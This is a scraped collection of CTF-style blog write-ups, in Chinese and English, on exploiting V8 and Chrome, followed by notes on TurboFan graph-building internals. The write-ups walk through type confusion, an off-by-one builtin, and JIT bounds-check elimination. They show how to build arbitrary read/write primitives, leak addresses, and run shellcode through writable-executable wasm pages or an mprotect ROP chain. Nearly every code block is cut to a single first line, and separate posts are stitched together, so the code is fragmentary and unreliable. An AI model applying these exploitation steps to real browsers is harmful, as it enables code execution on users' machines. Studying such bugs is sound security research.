之前我们说了,如果写一个smi,可以直接写入,但是如果要写入的数值大于smi,会把该属性字段的值当成一个指针,然后将这个数值写入到那个内存里。
就比如,我向null string的map字段(对应于n.xyz)写一个非SMI进去.
double类型的3.4766863919152113e-308等于int类型的0x0019000400007300
1 | function Check(obj){ |
1 | var m; |
所以说为了写入一个地址到ArrayBuffer的BackingStore,首先将BackingStore向前减去8个字节的地址即length地址写入到hash字段。
类似于我们上面写map一样,将[length_addr+0x8]即backingstore给覆盖成我们想要写入的内容。
在v8里,只要你能修改backingstore的值,就可以进行任意地址读写
于是就有了一个任意地址读写的原语。
于是我们先将func_addr写到backingstore,读到函数真正执行时候的code地址
1 | var l; |
再将取得的函数真正执行时候执行的函数地址,写入到backingstore,从而通过它进行任意地址写,写入我们的shellcode
1 | Check3(shellcode_addr_float); |
然后再执行这个被我们改了内容的函数,就可以弹计算器了。
1 | evil_f(); |
1 | var ab = new ArrayBuffer(0x200); |
1 | +BUILTIN(ArrayOob){ |
可以看到在length这里有一个off-by-one
另外,这里有一个非预期的UAF,其实在Object::ToNumber(isolate, args.at
v8通过map来判断类型,通过off-by-one来修改map即可产生type confusion
通过splice控制array的内存排布紧邻。
1 | var ab = new ArrayBuffer(0x1000); |
test如下:
可以看到如图所示的内存布局:
a elements的length位置存放的就是a obj的map了,于是a.oob(xxx)就可以将a的map给覆盖掉。
1 | //0x33a1055ce0e1->0x33a1055ce0b1 |
在要fake的arraybuffer的前后两次gc,使其内存分布更稳定。
调试的话,直接在对应版本的v8 release上调试,然后写到html里,放到chrome里就行了,偏移什么的都没有改变。
也可以直接gdb attach到chrome里调试。
利用思路非常简单
首先分配两个array,一个double array,一个object array
然后通过覆盖object array的map为double map,就可以将其中的用户空间对象leak出来。
然后在array的elments去fake一个arraybuffer。
然后通过将double array的map覆盖成object array,就可以将fake好的arraybuffer给当成object给取出来。
而这个fake的arraybuffer的内容是我们可控的,于是就可以任意地址读写了。
接下来就是找到wasm_func里rwx的地址,将shellcode写入执行即可。
我的exp写的比较dirty。
1 | <html> |
测试机器ubuntu16.04
1 | // Flags: --allow-natives-syntax |
1 | a1: |
漏洞验证,边界检查被移除后的越界读写
1 | 1.1 |
在typer phase里对SpeculativeNumberShiftRight的range进行计算
1 | #72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #55:JSCreateArray) |
由于在typer phase还不会对Load处理,于是在第一次对NumberShiftRight进行range analysis的时候,会将其范围直接当做int32的最大和最小值。
1 | # define INT32_MIN ((int32_t)(-2147483647-1)) |
1 | Type OperationTyper::NumberShiftRight(Type lhs, Type rhs) { |
于是在第一次对NumberShiftRight进行range analysis之后得到
1 | min lhs is -2147483648 |
然后在typer lowering phase里将JSCreateArray reduce成ArgumentsLength,并计算其范围。
1 | Reduction JSCreateLowering::ReduceJSCreateArguments(Node* node) { |
然后在load elimination phase里将多余的LoadField remove,直接替换成真正的值,ArgumentsLength
1 | #72:SpeculativeNumberShiftRight[SignedSmall](#102:LoadField, #27:NumberConstant, #70:Checkpoint, #18:JSStackCheck) [Type: Range(-32768, 32767)] |
于是在simplified lowering phase里,为了修正这个SpeculativeNumberShiftRight的范围,于是再次对其进行typer计算。
1 | // Forward propagation of types from type feedback. |
由于这个结果被作为数组的index,所以最终在VisitCheckBounds里,会比较这个范围和数组最大的长度,如果始终index小于数组的length,那么就会将其remove掉。
1 | void VisitCheckBounds(Node* node, SimplifiedLowering* lowering) { |
通过a1的单次越界写改掉oob_double_Array的长度,将其改的很大,然后在后面放一个object Array。
1 | a1 = new Array(0x10); |
通过将要leak的对象放入object Array,然后通过oob_double_Array将该对象越界读出,得到的就是该对象的指针的double表示。
1 | function user_space_read(leak){ |
然后我们再new一个ArrayBuffer,通过oob_double_Array的越界写,可以改它的backing_store,于是就可以任意地址读写。
1 | oob_buffer = new ArrayBuffer(0x1000); |
这里有一个小trick就是,我们的oob_double_Array和ArrayBuffer的偏移是不固定的。
但是通过user_space_read,我们可以先leak出oob_double_Array和oob_buffer的地址,由于oob_double_Array的fixedArray与其偏移是固定的,而oob_buffer的backing_store和oob_buffer的偏移是固定的.
所以我们可以计算出这个偏移是多少。
leak出一个blink对象div的地址,它偏移0x20的位置是HTMLDivElement对象,读出后,再读出它首部的虚表地址,然后减去和chrome_child.dll的偏移就是chrome_child.dll的基地址了。
1 | let div = document.createElement('div'); |
1 | 0:017> dq 0x00004c0eb3ea31f8 |
1 | 0:016> x chrome_child!*CreateEventW* |
1 | 0:016> x KERNEL32!*NtQueryEvent* |
1 | 00007ff9`296f0705 488b5150 mov rdx,qword ptr [rcx+50h] |
search->sequence of bytes
1 | // pop rcx ; ret 59 c3 |
1 | 0:016> u 00007ffb`45d6982c |
1 | let scratch = new ArrayBuffer(0x100000); |
栈劫持之后,开始执行我们的mprotect gadaget,使shellcode所在的页可执行,然后跳转到shellcode执行
1 | let fake_stack = scratch_addr + new Int64(0x10000).asDouble(); |
1 | <html> |
https://github.com/google/google-ctf/tree/master/2018/finals/pwn-just-in-time/
Thanks for Stephen, I learned a lot from his amazing challenge.
I am lazy, so I use Xcode to compile V8 version 7.2.0 (candidate)
1 | cd ~/v8/v8 |
1 | Number.MAX_SAFE_INTEGER = 2^53 - 1 |
1 | function foo(doit) { |
Run PoC until remove checkbounds
is called:
1 | index_type.Print(); |
All in all, the result of range analyzes
is different from the result of optimized range
. After simplified lower
removes boundary check, we can do OOB read/write.
We place array a
next to array b
, use OOB write from a
to change the length of array b
. Now, the length of b
is 0x400
.
And we can OOB via array b
:
1 | function foo(doit) { |
Add a Float64Array
. We can edit the backing store
of ArrayBuffer
to arbitrary R/W primitive.
We won’t create Float64Array unless the memory is in g2[ab_off]
:
1 | function foo(doit) { |
Find the address of array buffer backing store:
1 | const ab_backing_store_off = ab_off + 0x15; |
I wonder which address records the backing store. After checking for a little while, it’s my first time to see new Float64Array() directly. Normally, it should be:
1 | var ab = new ArrayBuffer(20); |
Finding the elements of Float64Array
.
Add +0x10
to the address, we can get backing store
.
The address of elements is 0x0000093f18ac9ed
. In 0x0000093f18ac9ed+0x20
, we have the first element -5.5
.(0x4016000000000000
in the picture):
When we edit backing store to get arbitrary r/w primitive, assume addr
as the target address, change the value of backing store to addr-0x20
,then we can leak content in this address.
Appending an object to g3
. Then, double array g2
can leak that object, resulting type confusion. The leaked content is float
. f2i
is able to convert it to integer:
1 | function leak_ptr(o) { |
Here is the output:
1 | let Array_addr = leak_ptr(Array); |
Script:
1 | function readq(addr) { |
Let’s have a look on readq
We can get the original value of backing store
form g2[ab_off+2]
. Change it to the target address. Pay attention to the last 1
. This is a mechanism called Tagged Value
. Only when 1 is in the last of the address can it be a valid pointer of HeapObject
.
Edit it to the content we want to read. E.g, leak the code:
I explained why we should - 20
previously, so skip this part here:
1 | g2[ab_backing_store_off-2] = (addr-0x20n|1n).i2f(); |
Now the backing store
is changed to addr-0x20
We can leak code address 0x000001db14a8c821
from 0x0000093f11611288
now.
Output:
1 | let Array_addr = leak_ptr(Array); |
writeq
is the same as readq
.
Earlier than version 6.7
, the function code is writable. Therefore, we can write shellcode to functions and call the function to execute.
Later, however, the code is not writable and we need to chain ROP.(https://github.com/v8/v8/commit/f7aa8ea00bbf200e9050a22ec84fab4f323849a7)
Now, leak the address of Array
, Then find the address of Array’s code. In the final, calculate the address of ArrayConstructor:
1 | let Array_addr = leak_ptr(Array); |
We can leak the address of ArrayConstructor
It’s mapped to the memory of chrome binary.
Use IDA to reverse. Seek the offset of ArrayConstructor
in chrome binary.
1 | >>> hex(0x55b677f727c0-0x55b673f16000) |
chrome binary base address
=ArrayConstructor
-0x405c7c0
. Let’s store the result in bin_base
:
1 | let bin_base = Array_builtin_addr - 0x405c7c0n; |
Find got table
. cxa_finalize
is a libc function,there is a got
in chrome pointing to it, the offset to the pointer is 0x8DDBDE8
.
Then leak cxa_finalize
:
Reverse the libc.so, use cxa_finalize_got
-0x43520
to get the base address
of libc:
1 | let cxa_finalize_got = bin_base + 0x8ddbde8n; |
Find environ
to leak stack address:
1 | let environ = libc_base+0x3ee098n; |
This section is easy, we use mprotect
to change the permission of memory and execute shellcode:
1 | let nop = bin_base+0x263d061n; |
The addresses in red rectangle is environment variable, and the contents in yellow rectangle are 0x200*retn
, variable nop
here represents retn
instruction but not 0x90(nop
instruction), we the code executes retn
,it will keep returning until executing our ROP。
1 | for (let i = 0; i < 0x200; i++) { |
1 | cd ~/chrome |
I would acknowledge stephen(@_tsuro) who guides me and points out my stupid mistakes.
Debugging d8 is quite different from chrome,when leaking cxa,it will map builtin to a random address,and cxa is mapped to libv8.so,so we cannot find offset via cxa.
When you complete a arbitrary r/w primitive in v8,you can exploit chrome via the script without additional debug(yes, u don’t need to debug a full chrome)
Thanks Auxy(@realAuxy233) for translating~
If you find any errors or corrections, contact me.
1 | v8::internal::GeneratedCode |
参数1是要compile的function,参数2是一个标志,应该是和线程相关,表示function不在“正在编译的函数的队列”里。
1 | if (mode == ConcurrencyMode::kConcurrent) { |
在这个函数中进行编译,这个函数首先检查function是否已经被编译过了。
1 | if (function->IsOptimized()) return true; |
然后进行编译优化,如果编译优化成功则以后在js中调用函数都执行编译后的code
1 | if (!GetOptimizedCode(function, mode).ToHandle(&code)) { |
如果失败,则回到解释帧InterpreterEntryTrampoline执行
1 | code = BUILTIN_CODE(isolate, InterpreterEntryTrampoline); |
1 | if (job->PrepareJob(isolate) != CompilationJob::SUCCEEDED || |
v8里有非常多的status,很有意思。
1 | DEFINE_BOOL(trace_opt, false, "trace lazy optimization") |
这个函数就是调用
1 | return UpdateState(PrepareJobImpl(isolate), State::kReadyToExecute); |
前面根据一些标志位进行设置,包括下面这些等。
1 | // OptimizedCompilationInfo encapsulates the information needed to compile |
然后开始创建Graph
1 | if (!pipeline_.CreateGraph()) { |
检查trace标志位并做相应操作,主要是做记录。
1 | if (info()->trace_turbo_json_enabled() || |
通过添加修饰器来记录源码位置。
1 | data->source_positions()->AddDecorator(); |
然后
1 | Run<GraphBuilderPhase>(); |
设置图的基本结构。
{Start}的输出是形参(包括receiver)加上new target, arguments数目,context和closure
1 | int actual_parameter_count = bytecode_array()->parameter_count() + 4; |
NewNode是用于创建新node的帮助函数。
common()返回CommonOperatorBuilder*的common_,差不多是一个op的集合了,然后从中选择Start
1 | CommonOperatorBuilder* common() const { return common_; } |
这个文件还是比较有用的,common-operator.cc,因为NewNode的opcode参数从这里初始化。
回到NewNode看一下
1 | // Factory template for nodes with static input counts. |
最后是执行到了这里,于是我们来分析一下这个函数。
1 | Node* Node::New(Zone* zone, NodeId id, const Operator* op, int input_count, |
首先定义了几个局部变量
1 | Node** input_ptr; |
然后判断input_count是否大于kMaxInineCapacity
注意这里的input_count来自这里的nodes_arr.size(),此处对于start的情况,NewNode(common()->Start(actual_parameter_count)));
,可以看出这个结果是0。
这是个比较特殊的情况,后面我们再分析几个node的生成看一下这个逻辑。
1 | Node* NewNode(const Operator* op, Nodes*... nodes) { |
为什么这里有这样的一个比较呢?是因为v8对node的存储决定的
从注释里可以找到
1 |
|
如果是小于kMaxInineCapacity,则可以直接将inputs内联在node中。
这里的计算方法是,首先计算capacity,默认应该是等于input_count,如果有has_extensible_inputs
,则在input_count + 3和kMaxInlineCapacity选取一个最小值。
这个has_extensible_inputs我还不是很懂,后面看看吧
1 | int capacity = input_count; |
然后计算size大小,并为node和它的use/input分配内存。
1 | size_t size = sizeof(Node) + capacity * (sizeof(Node*) + sizeof(Use)); |
顺便说一下,一个Use大小是24字节,一个Node是40字节
计算好size之后进入这个函数,在这生成新的node。
1 | Node::Node(NodeId id, const Operator* op, int inline_count, int inline_capacity) |
最后需要为这个node建立input/use关系,这里的逻辑就是,首先根据当前node的input_count数。
依次设置to为input节点。
1 | for (int current = 0; current < input_count; ++current) { |
然后由于input_ptr指向node的inputs区域,在node的inputs区域记录它的input节点的地址。
1 | input_ptr = node->inputs_.inline_; |
通过这种方式就将节点的input关系建立好了。
然后需要考虑一下use关系,现在我们可以看到use_ptr指向的是当前node的地址。
通过use_ptr和{input_index}来计算出use,然后在use里记录当前{input_index}的值,于是我们可以通过这个值来做简单的算数计算来找到node。
1 | Use* use = use_ptr - 1 - current; |
然后
1 | to->AppendUse(use); |
于是从当前节点的input节点到当前节点,这样的一个{input}->{node}的use关系就建立起来了。
注意first_use是Node结构的一个成员变量。
或许这么说还是有点难懂,其实就是假设有一个节点A,它有0,1,2,3这么几个input节点,0,1,2,3代表的也是input_index。
然后对于每一个它的input节点,都要从它的Use部分取一个分配给它的input,如图。
然后因为分配出去的Use里面有记录这个input节点对应的input index,于是很容易就可以计算出来Node的地址。
这样,一个{input}->{node}的{Use #index}的关系就建立好了,而且很容易就可以通过#index来进行算数运算,得到真正的{input}->{node},这样的use关系。
之所以需要这么麻烦,可能也是为了让graph IR有SSA的性质……
Node::New结束之后,此时Start节点已经被构建好了,请记住Node::New做的事情,因为后面建立新的node也是通过这个函数来完成的。
回到BytecodeGraphBuilder::CreateGraph()
来看一下,在Start创建之后,初始化env并切换到它。
在看env的初始化之前,先看一个重要的class
1 | // The abstract execution environment simulates the content of the interpreter |
从上面可知,values()返回一个NodeVector values_。
然后继续看env的初始化
1 | Environment env(this, bytecode_array()->register_count(), |
注意这句话
1 | parameter[0] is the receiver (this), parameters 1..N are the |
首先创建parameter节点,Start作为parameter的input节点。
1 | for (int i = 0; i < parameter_count; i++) { |
然后向values_这个NodeVector的end之前,插入register_count个值为undefined_constant的Node节点。
1 | // Registers |
先从cache中检查是否已经有HeapConstant,如果没有就新建再返回,如果有就直接返回cache里的。
然后再向value_的最后插入一个undefined_constant节点作为Accumulator。
1 | // Accumulator |
然后设置Context
1 | // Context |
context也创建了一个parameter的node,用来做什么的我还没看懂,可能需要好好看看log或者compiler/linkage.h这个文件
V8准备一个称为v8::internal::AstVisitor的基类,简称AstVisitor,从AST生成bytecode。
AstVisitor是一个使用Vistor模式的类。
在深度优先搜索AST时调用相应的回调函数。
生成的bytecode存放在bytecode数组当中,用Javascript来模拟这个结构,看起来像这样。
当然这个并不重要,回顾一下而已。
VisitBytecodes首先进行bytecode_analysis,在这里面进行包括liveness分析等。
1 | BytecodeAnalysis bytecode_analysis(bytecode_array(), local_zone(), |
如果想观察liveness过程,可以启用这个flagDEFINE_BOOL(trace_environment_liveness, false, "trace liveness of local variable slots")
bytecode_array被设置迭代,然后通过VisitSingleBytecode一个个处理。
1 | for (; !iterator.done(); iterator.Advance()) { |
这个函数前面就是一些获取bytecode并偏移寻找下一个还有一些其他判断,主要的内容其实是这个大的switch case,对不同bytecode进行不同处理。
1 | switch (iterator.current_bytecode()) { |
BYTECODE_LIST在bytecode.h里,太长了就不列了。
VisitSingleBytecode里有很多分支,我捡一些写一下。
1 | [generated bytecode for function: foo] |
Node* node = NewNode(common()->Checkpoint());
1 | V(Checkpoint, Operator::kKontrol, 0, 1, 1, 0, 1, 0) |
1 | void BytecodeGraphBuilder::VisitStackCheck() { |
1 | const Operator* JSOperatorBuilder::LoadNamed(Handle<Name> name, |
1 | void BytecodeGraphBuilder::BuildCall(ConvertReceiverMode receiver_mode, |